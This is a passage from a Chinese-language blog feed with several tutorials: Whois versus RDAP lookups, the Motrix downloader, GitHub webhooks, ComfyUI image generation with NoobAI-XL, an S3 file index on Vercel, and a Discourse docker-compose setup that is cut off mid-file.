&lt;p&gt;但是实际上，只有红色框内的信息对我们有效，其他的信息则是一些公告，警示，许可之类的无用信息&lt;&#x2F;p&gt;
&lt;p&gt;这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难，但是对现代计算机来说非常难&lt;&#x2F;p&gt;
&lt;p&gt;因为在&lt;strong&gt;传统的Whois查询&lt;&#x2F;strong&gt;中，Whois服务器返回的信息没有任何规范，它想给你什么就能给你什么，如下图&lt;&#x2F;p&gt;
&lt;p&gt;这是我的域名的Whois查询结果，可以看到，完全没有规范可言
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;981f3e74-4e18-47e9-8e05-05ffca461e3c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;更有甚者不仅改格式，甚至还改术语，比如Status写一个Connect&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;29f6f17b-a885-406d-ad70-45e3aacc95d9.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范，需要针对每一个顶级域的Whois服务器做调查，然后针对性的配置过滤器，这样才能输出一个完整的，规范的Whois查询结果&lt;&#x2F;p&gt;
&lt;p&gt;前文我提到了&lt;strong&gt;传统的Whois查询&lt;&#x2F;strong&gt;，那么有没有一个API能直接提供一个规范了格式的查询结果，并且每个域名都遵循这个规范呢？&lt;&#x2F;p&gt;
&lt;p&gt;有的，兄弟有的，这就是RDAP（Registration Data Access Protocol），注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出，并且查询是通过标准的RESTAPI，也就是Web协议，如下图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7d92115f-f897-427a-b0a6-46d386019443.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;乍一看好多无用信息啊，但是你先别急，既然它返回的是JSON，而且所有域名都是一个规范，那么我们完全可以方便快捷的过滤&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;96760408-d94e-4ddb-854f-8e817a01fd8d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;就像这样，只需要写一遍过滤规则，以后所有&lt;strong&gt;支持RDAP查询Whois的顶级域&lt;&#x2F;strong&gt;都可以通过这个规则快捷展示信息！&lt;&#x2F;p&gt;
&lt;p&gt;但是话又说回来，RDAP毕竟是一个新式协议，很多顶级域仍然不支持，比如 &lt;code&gt;.im&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.iana.org&#x2F;domains&#x2F;root&#x2F;db&#x2F;im.html&quot;&gt;.im Domain Delegation Data&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;efa46528-43b5-45fb-88e6-5401dfade480.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到 &lt;code&gt;.im&lt;&#x2F;code&gt; 仅支持传统Whois查询&lt;&#x2F;p&gt;
&lt;p&gt;那么我们的三方API就要既支持传统Whois，又支持新式RDAP&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi-gou-jian-san-fang-whoischa-xun-api&quot;&gt;正式开始构建三方Whois查询API&lt;&#x2F;h1&gt;
&lt;p&gt;由于传统Whois查询是通过TCP请求43端口获取信息，需要专用客户端来查询，所以针对于&lt;strong&gt;只支持传统Whois查询的顶级域&lt;&#x2F;strong&gt;就需要我们的服务器先查询到信息，再返回用户纯文本。如下图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;16ab7a68-892e-429e-a0bc-02d829eead82.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而对于&lt;strong&gt;已经支持RDAP查询的顶级域&lt;&#x2F;strong&gt;，直接返回Web URL，让用户自行阅览，如下图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9b4916ef-d096-4954-a87c-abfc88c77d00.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;另外，针对于&lt;strong&gt;仅支持RDAP查询的顶级域&lt;&#x2F;strong&gt;，我们需要先通过IANA查询该顶级域的RDAP服务器（实际上传统Whois也需要，但是Linux的Whois包硬编码的Whois查询服务器目前够用 :）&lt;&#x2F;p&gt;
&lt;p&gt;比如我要查询 &lt;code&gt;freebird.day&lt;&#x2F;code&gt; ，就需要先前往&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.iana.org&#x2F;domains&#x2F;root&#x2F;db&#x2F;day.html&quot;&gt;.day Domain Delegation Data&lt;&#x2F;a&gt;查找&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7c7cb4ed-6b1a-4541-b176-ecc5783a3853.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来通过给定的RDAP服务器查询即可&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3d8df636-39e5-48f7-a6c7-9490f373497e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为RDAP协议较新，且易读，所以针对于&lt;strong&gt;传统Whois和RDAP查询都支持的顶级域&lt;&#x2F;strong&gt;优先RDAP查询&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>浏览器自带下载慢？你需要一个三方下载器Mortix！</title>
        <published>2025-05-26T00:00:00+00:00</published>
        <updated>2025-05-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/motrix/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/motrix/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/motrix/">&lt;p&gt;使用一个浏览器插件拦截下载请求然后将原请求发送给Motrix实现三方下载&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xia-zai-motrix&quot;&gt;下载Motrix&lt;&#x2F;h1&gt;
&lt;p&gt;前往官网： https://motrix.app&#x2F; 。下载Motrix&lt;&#x2F;p&gt;
&lt;p&gt;什么？你说我下载Motrix也奇慢无比？&lt;del&gt;忍一忍就过去了&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当你安装完毕后应该长这样&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6a10d31c-0c39-456c-8402-ff3190a80dcc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-motrix&quot;&gt;配置Motrix&lt;&#x2F;h1&gt;
&lt;p&gt;打开Motrix - 进阶设置 - RPC。你可以看到RPC监听端口（默认为16800），和一个RPC授权密钥（随机的）
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;53e255cf-965f-441d-a47a-81e20f272256.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们需要记住监听端口，复制好授权密钥（点击小眼睛然后复制，旁边的骰子图标是随机一个新的密钥）。然后点击保存并应用&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-liu-lan-qi&quot;&gt;配置浏览器&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;仅支持Chromium系（如：Chrome和新版Microsoft Edge，FireFox另寻它案&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;寻找浏览器扩展： &lt;strong&gt;Aria2 Explorer&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;安装，然后 右键 - 扩展选项。在这里对接Motrix的RPC设置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;0f4a510b-378a-45ab-a35f-88cfa53593e3.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后，右键扩展，勾选上下载拦截，然后尝试进行下载。如果一切顺利，浏览器的下载将被Aria2 Explorer捕获并且发送给Motrix。你可以在&lt;strong&gt;Aria2 Explorer&lt;&#x2F;strong&gt;和&lt;strong&gt;Motrix&lt;&#x2F;strong&gt;处看到下载中的文件&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;57fa7b18-541e-4115-a160-cd742735e298.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>加群向导</title>
        <published>2025-05-24T00:00:00+00:00</published>
        <updated>2025-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/pin/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/pin/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/pin/">&lt;h1 id=&quot;guan-fang-qun&quot;&gt;官方群&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;telegramqun-zu&quot;&gt;Telegram群组&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://t.me&#x2F;+_07DERp7k1ljYTc1&quot;&gt;Telegram: Join Group Chat [2x.nz]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qqqun&quot;&gt;QQ群&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么仅QQ群需要赞助？因为QQ作为国内平台，很容易被内鬼举报致使封群，但相对的，门槛更低，交流更方便。当然，如果您是高级用户，可以加入非QQ群。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;请先 &lt;a href=&quot;&#x2F;donate&#x2F;&quot;&gt;赞助&lt;&#x2F;a&gt; 至少 &lt;strong&gt;10 CNY&lt;&#x2F;strong&gt; 后加群。赞助时建议留备注，加群问题填写你留的备注或者交易订单号&lt;&#x2F;p&gt;
&lt;p&gt;点击链接加入群聊【2x.nz】： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://qm.qq.com&#x2F;q&#x2F;I2Quch1uy6&quot;&gt;QQ群&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-15-03-24-11-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fei-guan-fang-qun&quot;&gt;非官方群&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;粉丝自建&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://t.me&#x2F;blog2x&quot;&gt;Telegram: View @blog2x&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>利用Github Repo WebHook来为你的订阅者推送文章更新信息</title>
        <published>2025-05-19T00:00:00+00:00</published>
        <updated>2025-05-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/github-webhook/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/github-webhook/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/github-webhook/">&lt;p&gt;我们都知道静态博客一般会托管在Github来方便其他静态网站构建服务提供商，如Cloudflare进行自动构建和发布站点。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以在每一次Push后调用WebHook将提交信息发送给自己托管的服务（如QQBot），然后在你的订阅群广播这个消息即可&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：根据框架和构建提供商的不同，构建时长也会不同，请为广播消息设置一个延迟时间.&lt;&#x2F;p&gt;
&lt;p&gt;以便让你的订阅者收到文章更新消息后能够立即打开阅览而不是看到404或者错误的内容&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;she-zhi-ni-de-zi-tuo-guan-webhookjie-shou-qi&quot;&gt;设置你的自托管WebHook接收器&lt;&#x2F;h2&gt;
&lt;p&gt;我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook，并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;53b434e4-cf0e-4cfc-a688-054d13f1c01a.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你的服务在内网，可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-github-repo-webhook&quot;&gt;配置Github Repo WebHook&lt;&#x2F;h2&gt;
&lt;p&gt;打开你的博客仓库。&lt;&#x2F;p&gt;
&lt;p&gt;在仓库设置找到WebHooks&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e899ddd6-9b3e-4d0a-848b-7f9b43d2004e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;添加一个新的WebHook，如图设置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7fa35782-2d3c-4d18-afca-cb7db8ee36fc.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kai-fa-ce-shi&quot;&gt;开发测试&lt;&#x2F;h2&gt;
&lt;p&gt;在你的博客仓库进行一次Push操作，检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>AI绘图发展了这么多年，你还不会画你推的同人图？</title>
        <published>2025-05-13T00:00:00+00:00</published>
        <updated>2025-05-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/noobai-vpre/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/noobai-vpre/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/noobai-vpre/">&lt;p&gt;其实本来这篇文章应该在一个月前就发出来的，当时已经把部署方法写好了，但是脑子一热给系统重装了。教程没留下，模型没留下，prompt（提示词）没留下，图也没留下。然后就脱坑AI绘图了，然后就开始研究别的东西了&lt;&#x2F;p&gt;
&lt;p&gt;契机是昨天晚上（2025-05-12）看到有大佬在发一些精美的AI绘图。我这不服输的胜负欲啊...&lt;&#x2F;p&gt;
&lt;p&gt;然后就边和群u唱歌边研究AI绘图，前前后后把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、Comfyui全装了一遍各种找教程、实操、试错&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-11-58-34-image.png&quot; alt=&quot;2025-05-13-11-58-34-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把我曾经丢掉的知识找回来了，在纯小白的情况下，你可以跑出类似下面的图！（跑不出来你打死我！）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-11-59-50-ComfyUI_00016_.png&quot; alt=&quot;2025-05-13-11-59-50-ComfyUI_00016_.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-00-37-ComfyUI_00011_.png&quot; alt=&quot;2025-05-13-12-00-37-ComfyUI_00011_.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xia-zai-noobai-vyu-ce-mo-xing&quot;&gt;下载NoobAI-V预测模型&lt;&#x2F;h2&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://civitai.com&#x2F;models&#x2F;833294?modelVersionId=1190596&quot;&gt;NoobAI-XL (NAI-XL) - V-Pred-1.0-Version | NoobAI Checkpoint | Civitai&lt;&#x2F;a&gt; （需魔法）&lt;&#x2F;p&gt;
&lt;p&gt;点击下载即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-08-17-image.png&quot; alt=&quot;2025-05-13-12-08-17-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-zhuang-comfyui&quot;&gt;安装Comfyui&lt;&#x2F;h2&gt;
&lt;p&gt;前往秋叶的视频评论区下载Comfyui整合包，下载并解压： https://www.bilibili.com&#x2F;video&#x2F;BV1Ew411776J&lt;&#x2F;p&gt;
&lt;p&gt;解压完后打开文件夹，打开 &lt;code&gt;A绘世启动器&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-05-17-image.png&quot; alt=&quot;2025-05-13-12-05-17-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击右下角的开始运行，先让他进行初始化，直到它自动打开你的浏览器并且可以正常进入Comfyui的界面，如下图&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-06-57-image.png&quot; alt=&quot;2025-05-13-12-06-57-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-zhi-mo-xing&quot;&gt;放置模型&lt;&#x2F;h2&gt;
&lt;p&gt;将我们刚才下载的NoobAI-V预测模型，类似 &lt;code&gt;noobaiXLNAIXL_vPred10Version.safetensors&lt;&#x2F;code&gt; 这样的文件放到 &lt;code&gt;ComfyUI-aki-v1.5\models\checkpoints&lt;&#x2F;code&gt; 下面，如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-10-06-image.png&quot; alt=&quot;2025-05-13-12-10-06-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kai-shi-hui-tu&quot;&gt;开始绘图&lt;&#x2F;h2&gt;
&lt;p&gt;刷新Comfyui，你应该可以在 &lt;code&gt;Checkpoint加载器(简易)&lt;&#x2F;code&gt; 处可以看到你放置的所有模型，选择带有 &lt;code&gt;vPred...&lt;&#x2F;code&gt; 的就是V预测模型&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-11-55-image.png&quot; alt=&quot;2025-05-13-12-11-55-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后你想要画什么呢？比如崩铁的流萤？&lt;&#x2F;p&gt;
&lt;p&gt;进入 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.downloadmost.com&#x2F;NoobAI-XL&#x2F;danbooru-character&#x2F;&quot;&gt;Danbooru characters in NoobAI-XL (NAI-XL)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;搜索流萤的英文名 &lt;code&gt;firefly&lt;&#x2F;code&gt; 或者搜索 &lt;code&gt;star rail&lt;&#x2F;code&gt; 找到所有关于崩铁的角色&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-15-16-image.png&quot; alt=&quot;2025-05-13-12-15-16-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;复制 &lt;code&gt;Prompt tags&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;回到Comfyui，将其粘贴进链接了正面条件的CLIP文本编码器&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-16-35-image.png&quot; alt=&quot;2025-05-13-12-16-35-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这样角色预设就写好了&lt;&#x2F;p&gt;
&lt;p&gt;我这里也提供了一些起手的提示词&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;正面条件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;masterpiece, best quality, newest, absurdres, highres
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;负面条件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;text, watermark, worst quality, old, early, low quality, lowres, signature, username, logo, bad hands, mutated hands, mammal, anthro, furry, ambiguous form, feral, semi-anthro
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们将其添加到Comfyui，如下图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-19-32-image.png&quot; alt=&quot;2025-05-13-12-19-32-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ok！接下来让我们配置K采样器&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;步数：28-35&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;CFG：4-5&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;采样器：euler（❗重要！不能更改！可能会崩图！）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;没提到的参数自行斟酌调整，如果你不懂就不要乱调！&lt;&#x2F;p&gt;
&lt;p&gt;接下来设置图像尺寸，总面积约为 1024x1024。&lt;strong&gt;最推荐832x1216&lt;&#x2F;strong&gt;。其余：768x1344、896x1152、1024x1024、1152x896、1216x832、1344x768、1024x1536、1536x1024&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-22-06-image.png&quot; alt=&quot;2025-05-13-12-22-06-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最终工作流如图，然后点击执行队列！
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-24-12-image.png&quot; alt=&quot;2025-05-13-12-24-12-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后你就能得到一张这样的图片：&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-24-51-ComfyUI_00018_.png&quot; alt=&quot;2025-05-13-12-24-51-ComfyUI_00018_.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果你想要图片是不同的样子请在正面提示词和反面提示词添加（&lt;strong&gt;必须为英文！不知道的用翻译或者问AI！&lt;&#x2F;strong&gt;）。比如我这边想要让足部放到焦点上并且裸足就添加&lt;strong&gt;正面提示词&lt;&#x2F;strong&gt;： &lt;code&gt;barefoot,feet in foreground&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-27-07-ComfyUI_00019_.png&quot; alt=&quot;2025-05-13-12-27-07-ComfyUI_00019_.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zui-hou&quot;&gt;最后&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AI生成的图片随机性较强。每一次生成的图片都不太一样。多试试&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可以在负面提示词添加：&lt;code&gt;NSFW&lt;&#x2F;code&gt; ，在正面提示词添加 &lt;code&gt;safe&lt;&#x2F;code&gt; 这样就不会生成涩图&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;由于V预测模型较新，只能在SDForge和Comfyui上运行，原版SD无法运行，会崩图&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;参考：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://civitai.com&#x2F;models&#x2F;833294?modelVersionId=1046043&quot;&gt;NoobAI-XL (NAI-XL) - V-Pred-0.5-Version | NoobAI Checkpoint | Civitai&lt;&#x2F;a&gt;。关于更多的此模型的技巧可以到图片对应处的About查看&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-05-13-12-30-55-image.png&quot; alt=&quot;2025-05-13-12-30-55-image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>让Vercel对接你的S3对象存储（仅下载）</title>
        <published>2025-05-05T00:00:00+00:00</published>
        <updated>2025-05-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/s3cloudrive/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/s3cloudrive/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/s3cloudrive/">&lt;blockquote&gt;
&lt;p&gt;视频教程（推荐）： https://www.bilibili.com&#x2F;video&#x2F;BV17b5gz5Ea4&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zheng-shi-kai-shi&quot;&gt;正式开始&lt;&#x2F;h1&gt;
&lt;p&gt;使用方法非常简单，进入GitHub仓库：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;afoim&#x2F;S3cloudrive-index&quot;&gt;GitHub - afoim&#x2F;S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;按照README部署即可&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h1&gt;
&lt;p&gt;采用Vercel Function登录S3，获取文件列表传递给前端拼接URL显示，原项目是对接的OneDrive：&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;iRedScarf&#x2F;onedrive-index&quot;&gt;iRedScarf&#x2F;onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.&lt;&#x2F;a&gt;。本项目仅更改了后端对接的存储类型，理论上你可以三改后对接任意存储...&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;本人想对接天翼云盘PC的驱动，但是登录鉴权一直不会做，有没有人来帮帮我（）&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>手把手教你部署Discourse</title>
        <published>2025-05-02T00:00:00+00:00</published>
        <updated>2025-05-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/discourse/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/discourse/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/discourse/">&lt;p&gt;确保你安装了 &lt;code&gt;Docker&lt;&#x2F;code&gt; 和 &lt;code&gt;Docker-Compose&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选一个目录创建 &lt;code&gt;docker-compose.yml&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;写入内容&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;yaml&quot;&gt;version: &amp;#39;2&amp;#39;
services:
  postgresql:
    image: docker.io&#x2F;bitnami&#x2F;postgresql:11
    volumes:
      - &amp;#39;postgresql_data:&#x2F;bitnami&#x2F;postgresql&amp;#39;
    environment:
      - POSTGRESQL_POSTGRES_PASSWORD=admin12345
      - POSTGRESQL_USERNAME=ex_discourse
      - POSTGRESQL_PASSWORD=user12345
      - POSTGRESQL_DATABASE=example_discourse
  redis:
    image: docker.io&#x2F;bitnami&#x2F;redis:6.0
    environment:
      - REDIS_PASSWORD=redis12345
    volumes:
      - &amp;#39;redis_data:&#x2F;bitnami&#x2F;redis&amp;#39;
  discourse:
    image: docker.io&#x2F;bitnami&#x2F;discourse:2
    ports:
